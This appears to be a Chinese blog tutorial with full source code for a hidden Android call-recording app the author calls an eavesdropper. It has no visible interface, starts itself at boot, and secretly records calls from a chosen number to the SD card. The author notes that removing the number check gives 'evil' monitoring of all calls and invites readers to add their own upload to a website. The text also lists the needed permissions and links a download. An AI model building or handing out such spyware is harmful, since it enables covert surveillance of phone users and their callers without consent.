Android 电话窃听器,窃听器,窃听器当然是别人看不见的对吧,所以没有Activity
简单的描述一下电话窃听部分,由于测试是用的监听的是10086,所以10086打进来都会被录音,把10086改成你想要的,或则去掉这个条件,很邪恶的实现全部监听。下一个是短信窃听,正在开发中..........
需要加入的权限
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission> <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <uses-permission android:name="android.permission.INTERNET"></uses-permission> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
分别解释一下这7个权限
MOUNT_UNMOUNT_FILESYSTEMS 允许挂载和反挂载文件系统可移动存储
RECORD_AUDIO 录音权限
RECEIVE_BOOT_COMPLETED 允许一个程序接收到 ACTION_BOOT_COMPLETED广播在系统完成启动
READ_PHONE_STATE 获取电话的通话状态
INTERNET 允许程序入网,本程序去掉了入网的部分,(上传到指定的网站)需要的自己添加上去
由于没有activity所以,AndroidManifest.xml中的是这样的
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="rw.monitor" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="10" /> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission> <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <uses-permission android:name="android.permission.INTERNET"></uses-permission> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission> <application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name="PhoneBrocastRecive"> <intent-filter> 注意这里 <action android:name="android.intent.action.BOOT_COMPLETED"></action> </intent-filter> </receiver><service android:name="PhoneService"></service> </application> </manifest>
Service的代码
package rw.monitor;
import java.io.File; import java.text.SimpleDateFormat; import java.util.Date;
import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log;
public class PhoneService extends Service {
@Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); Log.i("----->", "开始服务"); TelephonyManager manager=(TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);//获取电话服务 manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } PhoneStateListener listener=new PhoneStateListener(){ private String listeneredNumber; private boolean isRecorder;//是否在录音 private MediaRecorder recorder;
@Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://没有电话打进来或则挂断了 listeneredNumber=null; if (recorder!=null&&isRecorder) {//当我们挂断的时候 Log.i("-------->", "录音完成"); recorder.stop(); recorder.reset(); recorder.release(); isRecorder=false; } break; case TelephonyManager.CALL_STATE_RINGING: //电话响了 listeneredNumber=incomingNumber; Log.i("来电电话---->", listeneredNumber); break; case TelephonyManager.CALL_STATE_OFFHOOK://接听电话,TMD拨打电话呼出状态也是这个 if (listeneredNumber==null) { Log.i("-------->", "拨出电话");//拨出电话不监听,也可以监听。这里设置不监听 return ; } if(listeneredNumber.equals("10086")) { try {//开始录音啦 Log.i("-------->", "准备录音啦"); recorder=new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//声音来源于麦克风 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//音频的格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); SimpleDateFormat dateFormat=new SimpleDateFormat("yyyyMMdd_HHmmss"); String fileNameString=this.listeneredNumber+"_"+dateFormat.format(new Date()); File file=new File("/sdcard/"+fileNameString+".mp3"); recorder.setOutputFile(file.getAbsolutePath()); recorder.prepare(); recorder.start(); Log.i("-------->", "开始录音啦"); isRecorder=true; Log.i("-------->", "正在录音中....."); } catch (Exception e) { // TODO: handle exception e.getMessage(); } } break; default:
break; } } };
}
广播的代码
public class PhoneBrocastRecive extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub //if (intent.getAction().equals("ACTIONSTRING")) { Log.i("----------->", "开始广播"); Intent serviceIntent=new Intent(context,PhoneService.class); context.startService(serviceIntent); //} }
现在只能监听拨入电话,拨出电话晚上补上
调试的时候最好加上Activity,这样不用每次都重启模拟器
INTERNET 允许程序入网,本程序去掉了入网的部分,(上传到指定的网站)需要的自己添加上去挂断录音完成,保存在SDCARD下面
下载地址http://download.csdn.net/detail/rwyz1314/3613579